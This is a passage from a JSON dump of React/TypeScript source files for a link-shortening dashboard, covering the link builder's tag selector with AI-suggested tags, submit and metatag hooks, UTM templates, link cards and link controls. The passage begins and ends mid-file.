hideLogo={hideLogo}\n                logo={logo}\n                scale={0.5}\n              />\n            </motion.div>\n          </AnimatePresence>\n        ) : (\n          <div className=\"flex size-full flex-col items-center justify-center gap-2\">\n            <QRCodeIcon className=\"size-5 text-neutral-700\" />\n            <p className=\"max-w-32 text-center text-xs text-neutral-700\">\n              Enter a short link to generate a QR code\n            </p>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/tag-select.tsx",
    "content": "import useTags from \"@/lib/swr/use-tags\";\nimport useTagsCount from \"@/lib/swr/use-tags-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TagProps } from \"@/lib/types\";\nimport { TAGS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/tags\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport TagBadge from \"@/ui/links/tag-badge\";\nimport { useCompletion } from \"@ai-sdk/react\";\nimport {\n  AnimatedSizeContainer,\n  Combobox,\n  InfoTooltip,\n  Magic,\n  Tag,\n  Tooltip,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { memo, useEffect, useMemo, useState } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { useDebounce } from \"use-debounce\";\nimport { MultiTagsIcon } from \"./multi-tags-icon\";\nimport { useLinkBuilderKeyboardShortcut } from \"./use-link-builder-keyboard-shortcut\";\n\nfunction getTagOption(tag: TagProps) {\n  return {\n    value: tag.id,\n    label: tag.name,\n    icon: <MultiTagsIcon tags={[tag]} />,\n    meta: { color: tag.color },\n  };\n}\n\nexport const TagSelect = memo(() => {\n  const {\n    id: workspaceId,\n    slug,\n    mutate: mutateWorkspace,\n    exceededAI,\n  } = useWorkspace();\n\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n\n  const { data: tagsCount } = useTagsCount();\n  const useAsync = tagsCount && tagsCount > TAGS_MAX_PAGE_SIZE;\n\n  const { tags: availableTags, loading: loadingTags } = useTags({\n    query: {\n      sortBy: \"createdAt\",\n      sortOrder: \"desc\",\n      ...(useAsync ? { search: debouncedSearch } : {}),\n    },\n  });\n\n  const { control, setValue } = useFormContext<LinkFormData>();\n  const [tags, linkId, url, title, description] = useWatch({\n    control,\n    name: [\"tags\", \"id\", \"url\", \"title\", \"description\"],\n  });\n  const [debouncedUrl] = useDebounce(url, 500);\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const createTag = async (tag: string) => {\n    const res = await fetch(`/api/tags?workspaceId=${workspaceId}`, {\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({ tag }),\n    });\n\n    if (res.ok) {\n      const newTag = await res.json();\n      setValue(\"tags\", [...tags, newTag], { shouldDirty: true });\n      toast.success(`Successfully created tag!`);\n      setIsOpen(false);\n      await mutate(`/api/tags?workspaceId=${workspaceId}`);\n      return true;\n    } else {\n      const { error } = await res.json();\n      toast.error(error.message);\n    }\n\n    return false;\n  };\n\n  const options = useMemo(\n    () => availableTags?.map((tag) => getTagOption(tag)),\n    [availableTags],\n  );\n\n  const selectedTags = useMemo(\n    () => tags.map((tag) => getTagOption(tag)),\n    [tags],\n  );\n\n  useLinkBuilderKeyboardShortcut(\"t\", () => setIsOpen(true), {\n    priority: 2,\n  });\n\n  const [suggestedTags, setSuggestedTags] = useState<TagProps[]>([]);\n\n  const { complete } = useCompletion({\n    api: `/api/ai/completion?workspaceId=${workspaceId}`,\n    streamProtocol: \"text\",\n    body: {\n      model: \"claude-3-5-haiku-latest\",\n    },\n    onFinish: (_, completion) => {\n      mutateWorkspace();\n      if (completion) {\n        const completionArr = completion.split(\", \");\n        const suggestedTags = completionArr\n          .map((tag: string) => {\n            return availableTags?.find(({ name }) => name === tag) || null;\n          })\n          .filter(Boolean)\n          .slice(0, 5);\n        setSuggestedTags(suggestedTags as TagProps[]);\n      }\n    },\n  });\n\n  useEffect(() => {\n    if (\n      !linkId &&\n      debouncedUrl &&\n      title &&\n      description &&\n      !exceededAI &&\n      tags.length === 0 &&\n      suggestedTags.length === 0 &&\n      availableTags &&\n      availableTags.length > 0\n    ) {\n      complete(\n        `From the list of available tags below, suggest relevant tags for this link: \n        \n        - URL: ${debouncedUrl}\n        - Meta title: ${title}\n        - Meta description: ${description}. \n        \n        Only return the tag names in comma-separated format, and nothing else. If there are no relevant tags, return an empty string.\n        \n        Available tags: ${availableTags.map(({ name }) => name).join(\", \")}`,\n      );\n    }\n  }, [linkId, debouncedUrl, title, description, tags]);\n\n  return (\n    <div>\n      <div className=\"mb-1 flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <p className=\"text-sm font-medium text-neutral-700\">Tags</p>\n          <InfoTooltip\n            content={`Tags are used to organize your links in your ${process.env.NEXT_PUBLIC_APP_NAME} dashboard. [Learn more.](https://dub.co/help/article/how-to-use-tags)`}\n          />\n        </div>\n        <a\n          href={`/${slug}/settings/library/tags`}\n          target=\"_blank\"\n          className=\"text-sm text-neutral-400 underline-offset-2 transition-all hover:text-neutral-600 hover:underline\"\n        >\n          Manage\n        </a>\n      </div>\n      <Combobox\n        multiple\n        selected={selectedTags}\n        setSelected={(newTags) => {\n          const selectedIds = newTags.map(({ value }) => value);\n          setValue(\n            \"tags\",\n            selectedIds.map((id) =>\n              [...(availableTags || []), ...(tags || [])]?.find(\n                (t) => t.id === id,\n              ),\n            ),\n            { shouldDirty: true },\n          );\n          setSuggestedTags((tags) =>\n            tags.filter(({ id }) => !selectedIds.includes(id)),\n          );\n        }}\n        options={loadingTags ? undefined : options}\n        icon={<Tag className=\"mt-[5px] size-4 text-neutral-500\" />}\n        searchPlaceholder=\"Search or add tags...\"\n        shortcutHint=\"T\"\n        buttonProps={{\n          className: cn(\n            \"h-auto py-1.5 px-2.5 w-full text-neutral-700 border-neutral-300 items-start\",\n            selectedTags.length === 0 && \"text-neutral-400\",\n          ),\n        }}\n        createLabel={(search) => `Create ${search ? `\"${search}\"` : \"new tag\"}`}\n        onCreate={(search) => createTag(search)}\n        open={isOpen}\n        onOpenChange={setIsOpen}\n        onSearchChange={setSearch}\n        shouldFilter={!useAsync}\n        matchTriggerWidth\n      >\n        {selectedTags.length > 0 ? (\n          <div className=\"flex flex-wrap gap-2\">\n            {selectedTags.slice(0, 10).map((tag) => (\n              <TagBadge\n                key={tag.value}\n                name={tag.label}\n                color={tag.meta.color}\n                className=\"animate-fade-in\"\n              />\n            ))}\n          </div>\n        ) : loadingTags && availableTags === undefined && tags.length ? (\n          <div className=\"my-px h-6 w-1/4 animate-pulse rounded bg-neutral-200\" />\n        ) : (\n          <span className=\"my-px block py-0.5\">Select tags...</span>\n        )}\n      </Combobox>\n      <AnimatedSizeContainer\n        height\n        transition={{ ease: \"linear\", duration: 0.1 }}\n      >\n        {suggestedTags.length > 0 && (\n          <div className=\"animate-fade-in flex flex-wrap items-center gap-2 pt-3\">\n            <Tooltip content=\"AI-suggested tags based on the content of the link. Click a suggested tag to add it.\">\n              <div className=\"group\">\n                <Magic className=\"size-4 text-neutral-600 transition-colors group-hover:text-neutral-500\" />\n              </div>\n            </Tooltip>\n            {suggestedTags.map((tag) => (\n              <button\n                type=\"button\"\n                key={tag.id}\n                onClick={() => {\n                  setValue(\"tags\", [...tags, tag], { shouldDirty: true });\n                  setSuggestedTags((tags) =>\n                    tags.filter(({ id }) => id !== tag.id),\n                  );\n                }}\n                className=\"group flex items-center transition-all active:scale-95\"\n              >\n                <TagBadge {...tag} />\n              </button>\n            ))}\n          </div>\n        )}\n      </AnimatedSizeContainer>\n    </div>\n  );\n});\n\nTagSelect.displayName = \"TagSelect\";\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/use-link-builder-keyboard-shortcut.ts",
    "content": "import { useKeyboardShortcut } from \"@dub/ui\";\nimport { useLinkBuilderContext } from \"./link-builder-provider\";\n\nexport const useLinkBuilderKeyboardShortcut: typeof useKeyboardShortcut = (\n  ...args\n) => {\n  const { modal } = useLinkBuilderContext();\n\n  useKeyboardShortcut(args[0], args[1], {\n    modal,\n    ...args[2],\n  });\n};\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/use-link-builder-submit.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { UpgradeRequiredToast } from \"@/ui/shared/upgrade-required-toast\";\nimport { Button, useCopyToClipboard } from \"@dub/ui\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { LinkFormData, useLinkBuilderContext } from \"./link-builder-provider\";\n\nexport function useLinkBuilderSubmit({\n  onSuccess,\n}: {\n  onSuccess?: (data: LinkFormData) => void;\n} = {}) {\n  const router = useRouter();\n  const { workspace, props } = useLinkBuilderContext();\n  const { getValues, setError } = useFormContext<LinkFormData>();\n  const [, copyToClipboard] = useCopyToClipboard();\n\n  return useCallback(\n    async (data: LinkFormData) => {\n      // @ts-ignore – exclude extra attributes from `data` object before sending to API\n      const { user, tags, tagId, folderId, partnerId, ...rest } = data;\n      const bodyData = {\n        ...rest,\n\n        // Map tags to tagIds\n        tagIds: tags.map(({ id }) => id),\n\n        // Replace \"unsorted\" folder ID w/ null\n        folderId: folderId === \"unsorted\" ? null : folderId,\n\n        // Manually reset empty strings to null\n        expiredUrl: rest.expiredUrl || null,\n        ios: rest.ios || null,\n        android: rest.android || null,\n\n        // Create partner links\n        ...(partnerId\n          ? { programId: workspace.defaultProgramId, partnerId }\n          : {}),\n      };\n\n      const endpoint = props?.id\n        ? {\n            method: \"PATCH\",\n            url: `/api/links/${props.id}?workspaceId=${workspace.id}`,\n          }\n        : {\n            method: \"POST\",\n            url: `/api/links?workspaceId=${workspace.id}`,\n          };\n\n      try {\n        const res = await fetch(endpoint.url, {\n          method: endpoint.method,\n          headers: {\n            \"Content-Type\": \"application/json\",\n          },\n          body: JSON.stringify(bodyData),\n        });\n\n        if (res.status === 200) {\n          const data = await res.json();\n          onSuccess?.(data);\n\n          // for editing links, if domain / key is changed, push to new url\n          console.log({ props, data });\n          if (\n            props &&\n            (props.domain !== data.domain || props.key !== data.key)\n          ) {\n            router.push(`/${workspace.slug}/links/${data.domain}/${data.key}`);\n          }\n\n          await mutatePrefix([\n            \"/api/links\",\n            // if updating root domain link, mutate domains as well\n            ...(getValues(\"key\") === \"_root\" ? [\"/api/domains\"] : []),\n          ]);\n\n          // copy shortlink to clipboard when adding a new link\n          if (!props) {\n            try {\n              await copyToClipboard(data.shortLink, { throwOnError: true });\n              toast.success(\"Copied short link to clipboard!\");\n            } catch (err) {\n              toast.success(\n                <div className=\"flex grow items-center justify-between gap-4\">\n                  <p className=\"text-[0.8125rem] text-neutral-900\">\n                    Successfully created link!\n                  </p>\n                  <Button\n                    type=\"button\"\n                    className=\"-my-1 h-7 w-fit\"\n                    text=\"Copy link\"\n                    onClick={async () => {\n                      try {\n                        await copyToClipboard(data.shortLink, {\n                          throwOnError: true,\n                        });\n                        toast.success(\"Copied short link to clipboard!\");\n                      } catch (e) {\n                        toast.error(\"Failed to copy short link to clipboard.\");\n                        console.error(\"Failed to copy with manual button\", e);\n                      }\n                    }}\n                  />\n                </div>,\n                {\n                  duration: 5000,\n                },\n              );\n            }\n          } else toast.success(\"Successfully updated short link!\");\n\n          // Mutate workspace to update usage stats\n          mutate(`/api/workspaces/${workspace?.slug}`);\n        } else {\n          const { error } = await res.json();\n\n          if (error) {\n            if (error.message.includes(\"Upgrade to\")) {\n              toast.custom(() => (\n                <UpgradeRequiredToast\n                  title={`You've discovered a ${workspace?.nextPlan?.name} feature!`}\n                  message={error.message}\n                />\n              ));\n            } else {\n              toast.error(error.message);\n            }\n            const message = error.message.toLowerCase();\n\n            if (message.includes(\"key\"))\n              setError(\"key\", { message: error.message });\n            else if (message.includes(\"url\"))\n              setError(\"url\", { message: error.message });\n            else setError(\"root\", { message: \"Failed to save link\" });\n          } else {\n            setError(\"root\", { message: \"Failed to save link\" });\n            toast.error(\"Failed to save link\");\n          }\n        }\n      } catch (e) {\n        setError(\"root\", { message: \"Failed to save link\" });\n        console.error(\"Failed to save link\", e);\n        toast.error(\"Failed to save link\");\n      }\n    },\n    [\n      workspace.id,\n      workspace.slug,\n      workspace.nextPlan,\n      props,\n      copyToClipboard,\n      getValues,\n      setError,\n      onSuccess,\n    ],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/use-metatags.ts",
    "content": "import {\n  LinkFormData,\n  useLinkBuilderContext,\n} from \"@/ui/links/link-builder/link-builder-provider\";\nimport { getUrlWithoutUTMParams, truncate } from \"@dub/utils\";\nimport { useEffect } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\nimport { useDebounce } from \"use-debounce\";\n\nexport function useMetatags({ enabled = true }: { enabled?: boolean } = {}) {\n  const { control, setValue } = useFormContext<LinkFormData>();\n  const [url, password, proxy, title, description, image] = useWatch({\n    control,\n    name: [\"url\", \"password\", \"proxy\", \"title\", \"description\", \"image\"],\n  });\n  const [debouncedUrl] = useDebounce(getUrlWithoutUTMParams(url), 500);\n\n  const { generatingMetatags, setGeneratingMetatags } = useLinkBuilderContext();\n\n  useEffect(() => {\n    // no need to generate metatags if proxy is enabled\n    if (proxy) {\n      setGeneratingMetatags(false);\n      return;\n    }\n\n    // if there's a password, no need to generate metatags\n    if (password) {\n      setGeneratingMetatags(false);\n      setValue(\"title\", \"Password Required\");\n      setValue(\n        \"description\",\n        \"This link is password protected. Please enter the password to view it.\",\n      );\n      setValue(\"image\", \"https://assets.dub.co/misc/password-protected.png\");\n      return;\n    }\n\n    // Only generate metatags if enabled (modal is open and url is not empty)\n    if (enabled !== false && debouncedUrl.length > 0) {\n      try {\n        // if url is valid, continue to generate metatags, else throw error and return null\n        new URL(debouncedUrl);\n        setGeneratingMetatags(true);\n        fetch(`/api/links/metatags?url=${debouncedUrl}`).then(async (res) => {\n          if (res.status === 200) {\n            const results = await res.json();\n            const truncatedTitle = truncate(results.title, 120);\n            const truncatedDescription = truncate(results.description, 240);\n            if (truncatedTitle) {\n              setValue(\"title\", truncatedTitle);\n            }\n            if (truncatedDescription)\n              setValue(\"description\", truncatedDescription);\n            if (results.image) setValue(\"image\", results.image);\n          }\n          // set timeout to prevent flickering\n          setTimeout(() => setGeneratingMetatags(false), 200);\n        });\n      } catch (_) {}\n    } else {\n      setGeneratingMetatags(false);\n    }\n  }, [debouncedUrl, password, enabled]);\n\n  return { generatingMetatags };\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-builder/utm-templates-button.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UtmTemplateProps } from \"@/lib/types\";\nimport {\n  AnimatedSizeContainer,\n  ButtonTooltip,\n  Popover,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { DiamondTurnRight, LoadingSpinner, Note } from \"@dub/ui/icons\";\nimport { fetcher } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport useSWR from \"swr\";\n\nexport function UTMTemplatesButton({\n  onLoad,\n}: {\n  onLoad: (params: Record<string, string>) => void;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isLoading } = useSWR<UtmTemplateProps[]>(\n    workspaceId && `/api/utm?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  return data && data.length > 0 ? (\n    <Popover\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n      side=\"bottom\"\n      align=\"start\"\n      onWheel={(e) => {\n        // Allows scrolling to work when the popover's in a modal\n        e.stopPropagation();\n      }}\n      content={\n        <AnimatedSizeContainer width={!isMobile} height>\n          {data ? (\n            <div className=\"text-sm\">\n              <div className=\"max-w-64\">\n                <UTMTemplateList\n                  data={data}\n                  onLoad={(params) => {\n                    setOpenPopover(false);\n                    onLoad(params);\n                  }}\n                />\n              </div>\n            </div>\n          ) : isLoading ? (\n            <div className=\"flex w-full items-center justify-center py-4 md:w-32\">\n              <LoadingSpinner className=\"size-4\" />\n            </div>\n          ) : (\n            <div className=\"flex w-full items-center justify-center p-2 text-center text-xs text-neutral-500 md:w-32\">\n              Failed to load templates\n            </div>\n          )}\n        </AnimatedSizeContainer>\n      }\n    >\n      <div>\n        <ButtonTooltip\n          tabIndex={-1}\n          tooltipProps={{\n            content: \"Load a UTM template\",\n          }}\n          className=\"animate-fade-in size-6\"\n        >\n          <DiamondTurnRight className=\"size-4\" />\n        </ButtonTooltip>\n      </div>\n    </Popover>\n  ) : null;\n}\n\nfunction UTMTemplateList({\n  data,\n  onLoad,\n}: {\n  data: UtmTemplateProps[];\n  onLoad: (params: Record<string, string>) => void;\n}) {\n  const { setValue } = useFormContext();\n\n  return data.length ? (\n    <div className=\"scrollbar-hide grid max-h-64 overflow-y-auto p-1 md:min-w-48\">\n      <span className=\"block pb-2 pl-2.5 pt-2 text-xs font-medium text-neutral-500\">\n        UTM Templates\n      </span>\n      {data.map((template) => (\n        <UTMTemplateOption\n          key={template.id}\n          template={template}\n          onClick={() => {\n            const paramEntries = Object.entries(template)\n              .filter(([key]) => key === \"ref\" || key.startsWith(\"utm_\"))\n              .map(([key, value]) => [key, (value || \"\").toString()]);\n\n            paramEntries.forEach(([key, value]) =>\n              setValue(key, value, { shouldDirty: true }),\n            );\n\n            onLoad(Object.fromEntries(paramEntries));\n          }}\n        />\n      ))}\n    </div>\n  ) : (\n    <div className=\"flex items-center justify-center p-3 text-center text-xs text-neutral-500\">\n      No templates found\n    </div>\n  );\n}\n\nfunction UTMTemplateOption({\n  template,\n  onClick,\n}: {\n  template: UtmTemplateProps;\n  onClick: () => void;\n}) {\n  return (\n    <div className=\"group relative\">\n      <button\n        onClick={onClick}\n        className=\"flex w-full items-center justify-between gap-2 rounded-md p-2 text-neutral-700 outline-none hover:bg-neutral-100 focus-visible:ring-2 focus-visible:ring-neutral-500 active:bg-neutral-200 group-hover:bg-neutral-100\"\n      >\n        <span className=\"flex items-center gap-2\">\n          <Note className=\"size-4 text-neutral-500\" />\n          {template.name}\n        </span>\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-card-placeholder.tsx",
    "content": "import { CardList } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useContext } from \"react\";\n\nexport default function LinkCardPlaceholder() {\n  const { variant } = useContext(CardList.Context);\n\n  return (\n    <>\n      <div className=\"flex grow items-center gap-3\">\n        <div className=\"hidden h-8 w-8 animate-pulse rounded-full bg-neutral-200 sm:block\" />\n        <div\n          className={cn(\n            \"flex h-[60px] gap-x-2 gap-y-1 transition-[height]\",\n            variant === \"loose\"\n              ? \"h-[60px] flex-col justify-center\"\n              : \"h-[32px] flex-row items-center\",\n          )}\n        >\n          <div className=\"h-5 w-32 animate-pulse rounded-md bg-neutral-200 sm:w-44\" />\n          <div\n            className={cn(\n              \"h-4 w-28 animate-pulse rounded-md bg-neutral-200\",\n              variant === \"compact\" && \"hidden sm:block\",\n            )}\n          />\n        </div>\n      </div>\n      <div className=\"flex items-center gap-5\">\n        <div className=\"h-6 w-16 animate-pulse rounded-md bg-neutral-200\" />\n        <div className=\"hidden h-6 w-11 animate-pulse rounded-md bg-neutral-200 sm:block\" />\n        <div className=\"hidden h-6 w-10 sm:block\" />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/links/link-card.tsx",
    "content": "import useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport useFolder from \"@/lib/swr/use-folder\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  CardList,\n  ExpandingArrow,\n  useClickHandlers,\n  useIntersectionObserver,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport {\n  createContext,\n  Dispatch,\n  memo,\n  SetStateAction,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { FolderIcon } from \"../folders/folder-icon\";\nimport { LinkDetailsColumn } from \"./link-details-column\";\nimport { LinkTests } from \"./link-tests\";\nimport { LinkTitleColumn } from \"./link-title-column\";\nimport { ResponseLink } from \"./links-container\";\n\nexport const LinkCardContext = createContext<{\n  showTests: boolean;\n  setShowTests: Dispatch<SetStateAction<boolean>>;\n} | null>(null);\n\nexport function useLinkCardContext() {\n  const context = useContext(LinkCardContext);\n  if (!context)\n    throw new Error(\"useLinkCardContext must be used within a LinkCard\");\n  return context;\n}\n\nexport const LinkCard = memo(({ link }: { link: ResponseLink }) => {\n  const [showTests, setShowTests] = useState(false);\n  return (\n    <LinkCardContext.Provider value={{ showTests, setShowTests }}>\n      <LinkCardInner link={link} />\n    </LinkCardContext.Provider>\n  );\n});\n\nconst LinkCardInner = memo(({ link }: { link: ResponseLink }) => {\n  const { variant, loading } = useContext(CardList.Context);\n  const ref = useRef<HTMLDivElement>(null);\n\n  const router = useRouter();\n  const { folderId: currentFolderId } = useCurrentFolderId();\n  const { slug } = useWorkspace();\n  const { queryParams } = useRouterStuff();\n\n  // only show the folder icon if:\n  // - loading is complete\n  // - the link has a folder id AND the currentFolderId is not the same as the link's folder id\n  const showFolderIcon = useMemo(() => {\n    return Boolean(\n      !loading && link.folderId && currentFolderId !== link.folderId,\n    );\n  }, [loading, link.folderId, currentFolderId]);\n\n  const { folder } = useFolder({\n    folderId: link.folderId,\n    enabled: showFolderIcon,\n  });\n\n  const editUrl = useMemo(\n    () => `/${slug}/links/${link.domain}/${link.key}`,\n    [slug, link.domain, link.key],\n  );\n\n  const entry = useIntersectionObserver(ref);\n  const isInView = entry?.isIntersecting;\n\n  useEffect(() => {\n    if (isInView) router.prefetch(editUrl);\n  }, [isInView]);\n\n  return (\n    <>\n      <CardList.Card\n        key={link.id}\n        outerClassName=\"overflow-hidden\"\n        innerClassName=\"p-0\"\n        {...useClickHandlers(editUrl, router)}\n        {...(variant === \"loose\" &&\n          showFolderIcon && {\n            banner: (\n              <Link\n                href={\n                  folder\n                    ? (queryParams({\n                        set: { folderId: folder?.id || \"\" },\n                        getNewPath: true,\n                      }) as string)\n                    : \"#\"\n                }\n                className=\"group flex items-center justify-between gap-2 rounded-t-xl border-b border-neutral-100 bg-neutral-50 px-5 py-2 text-xs\"\n              >\n                <div className=\"flex items-center gap-1.5\">\n                  {folder ? (\n                    <FolderIcon\n                      folder={folder}\n                      shape=\"square\"\n                      className=\"rounded\"\n                      innerClassName=\"p-0.5\"\n                      iconClassName=\"size-3\"\n                    />\n                  ) : (\n                    <div className=\"size-4 rounded-md bg-neutral-200\" />\n                  )}\n                  {folder ? (\n                    <span className=\"font-medium text-neutral-900\">\n                      {folder.name}\n                    </span>\n                  ) : (\n                    <div className=\"h-4 w-20 rounded-md bg-neutral-200\" />\n                  )}\n                  <ExpandingArrow className=\"invisible -ml-1.5 size-3.5 text-neutral-500 group-hover:visible\" />\n                </div>\n                <p className=\"text-neutral-500 underline transition-colors group-hover:text-neutral-800\">\n                  Open folder\n                </p>\n              </Link>\n            ),\n          })}\n      >\n        <div className=\"flex items-center gap-5 px-4 py-2.5 text-sm sm:gap-8 md:gap-12\">\n          <div ref={ref} className=\"min-w-0 grow\">\n            <LinkTitleColumn link={link} />\n          </div>\n          <LinkDetailsColumn link={link} />\n        </div>\n        <LinkTests link={link} />\n      </CardList.Card>\n    </>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/links/link-controls.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useCurrentFolderId from \"@/lib/swr/use-current-folder-id\";\nimport { useCheckFolderPermission } from \"@/lib/swr/use-folder-permissions\";\nimport { ExpandedLinkProps } from \"@/lib/types\";\nimport { useArchiveLinkModal } from \"@/ui/modals/archive-link-modal\";\nimport { useDeleteLinkModal } from \"@/ui/modals/delete-link-modal\";\nimport {\n  Button,\n  IconMenu,\n  PenWriting,\n  Popover,\n  useCopyToClipboard,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport {\n  BoxArchive,\n  CircleCheck,\n  Copy,\n  FolderBookmark,\n  QRCode,\n  Trash,\n} from \"@dub/ui/icons\";\nimport { cn, isDubDomain, nanoid } from \"@dub/utils\";\nimport { CopyPlus, FolderInput } from \"lucide-react\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useCallback } from \"react\";\nimport { toast } from \"sonner\";\nimport { useLinkBuilder } from \"../modals/link-builder\";\nimport { useLinkQRModal } from \"../modals/link-qr-modal\";\nimport { useMoveLinkToFolderModal } from \"../modals/move-link-to-folder-modal\";\nimport { useTransferLinkModal } from \"../modals/transfer-link-modal\";\nimport { ThreeDots } from \"../shared/icons\";\n\nconst OPTIONS = {\n  edit: \"e\",\n  qr: \"q\",\n  duplicate: \"d\",\n  id: \"i\",\n  move: \"m\",\n  archive: \"a\",\n  transfer: \"t\",\n  delete: \"x\",\n  ban: \"b\",\n};\n\nexport function LinkControls({\n  link,\n  openPopover,\n  setOpenPopover,\n  shortcutsEnabled,\n  options = Object.keys(OPTIONS),\n  onMoveSuccess,\n  onTransferSuccess,\n  onDeleteSuccess,\n  className,\n  iconClassName,\n}: {\n  link: ExpandedLinkProps;\n  openPopover: boolean;\n  setOpenPopover: (open: boolean) => void;\n  shortcutsEnabled: boolean;\n  options?: string[];\n  onMoveSuccess?: (folderId: string | null) => void;\n  onTransferSuccess?: () => void;\n  onDeleteSuccess?: () => void;\n  className?: string;\n  iconClassName?: string;\n}) {\n  const router = useRouter();\n  const { slug } = useParams() as { slug?: string };\n\n  const [copiedLinkId, copyToClipboard] = useCopyToClipboard();\n\n  const copyLinkId = () => {\n    toast.promise(copyToClipboard(link.id), {\n      success: \"Link ID copied!\",\n    });\n  };\n\n  const openLinkBuilder = useCallback(() => {\n    router.push(`/${slug}/links/${link.domain}/${link.key}`);\n  }, [router, slug, link.domain, link.key]);\n\n  const { setShowArchiveLinkModal, ArchiveLinkModal } = useArchiveLinkModal({\n    props: link,\n  });\n  const { setShowTransferLinkModal, TransferLinkModal } = useTransferLinkModal({\n    props: link,\n    onSuccess: onTransferSuccess,\n  });\n  const { setShowDeleteLinkModal, DeleteLinkModal } = useDeleteLinkModal({\n    props: link,\n    onSuccess: onDeleteSuccess,\n  });\n  const { setShowLinkQRModal, LinkQRModal } = useLinkQRModal({\n    props: link,\n  });\n  const { setShowMoveLinkToFolderModal, MoveLinkToFolderModal } =\n    useMoveLinkToFolderModal({ link, onSuccess: onMoveSuccess });\n\n  const isRootLink = link.key === \"_root\";\n  const isProgramLinkWithLeads = link.programId !== null && link.leads > 0;\n  const { folderId: currentFolderId } = useCurrentFolderId();\n  const folderId = link.folderId || currentFolderId;\n\n  // Duplicate link Modal\n  const {\n    id: _,\n    createdAt: __,\n    updatedAt: ___,\n    userId: ____, // don't duplicate userId since the current user can be different\n    externalId: _____, // don't duplicate externalId since it should be unique\n    ...propsToDuplicate\n  } = link;\n  const {\n    setShowLinkBuilder: setShowDuplicateLinkModal,\n    LinkBuilder: DuplicateLinkModal,\n  } = useLinkBuilder({\n    // @ts-expect-error\n    duplicateProps: {\n      ...propsToDuplicate,\n      key: nanoid(7),\n      clicks: 0,\n    },\n  });\n\n  const handleBanLink = () => {\n    window.confirm(\n      \"Are you sure you want to ban this link? It will blacklist the domain and prevent any links from that domain from being created.\",\n    ) &&\n      (setOpenPopover(false),\n      toast.promise(\n        fetch(`/api/admin/links/ban?domain=${link.domain}&key=${link.key}`, {\n          method: \"DELETE\",\n        }).then(async () => {\n          await mutatePrefix(\"/api/admin/links\");\n        }),\n        {\n          loading: \"Banning link...\",\n          success: \"Link banned!\",\n          error: \"Error banning link.\",\n        },\n      ));\n  };\n\n  const canManageLink = useCheckFolderPermission(\n    folderId,\n    \"folders.links.write\",\n  );\n\n  useKeyboardShortcut(\n    options.map((o) => OPTIONS[o]),\n    (e) => {\n      setOpenPopover(false);\n      switch (e.key) {\n        case \"e\":\n          canManageLink && openLinkBuilder();\n          break;\n        case \"d\":\n          canManageLink && setShowDuplicateLinkModal(true);\n          break;\n        case \"q\":\n          setShowLinkQRModal(true);\n          break;\n        case \"m\":\n          canManageLink && setShowMoveLinkToFolderModal(true);\n          break;\n        case \"a\":\n          canManageLink && setShowArchiveLinkModal(true);\n          break;\n        case \"t\":\n          canManageLink &&\n            isDubDomain(link.domain) &&\n            setShowTransferLinkModal(true);\n          break;\n        case \"i\":\n          copyLinkId();\n          break;\n        case \"x\":\n          canManageLink &&\n            !isRootLink &&\n            !isProgramLinkWithLeads &&\n            setShowDeleteLinkModal(true);\n          break;\n        case \"b\":\n          if (!slug) handleBanLink();\n          break;\n      }\n    },\n    {\n      enabled: shortcutsEnabled,\n      priority: 1, // Take priority over display options\n    },\n  );\n\n  return (\n    <div className=\"flex justify-end\">\n      {options.includes(\"qr\") && <LinkQRModal />}\n      {options.includes(\"duplicate\") && <DuplicateLinkModal />}\n      {options.includes(\"archive\") && <ArchiveLinkModal />}\n      {options.includes(\"transfer\") && <TransferLinkModal />}\n      {options.includes(\"delete\") && <DeleteLinkModal />}\n      {options.includes(\"move\") && <MoveLinkToFolderModal />}\n      <Popover\n        content={\n          <div className=\"w-full sm:w-48\">\n            <div className=\"grid gap-px p-2\">\n              {options.includes(\"edit\") && (\n                <Button\n                  text=\"Edit\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    openLinkBuilder();\n                  }}\n                  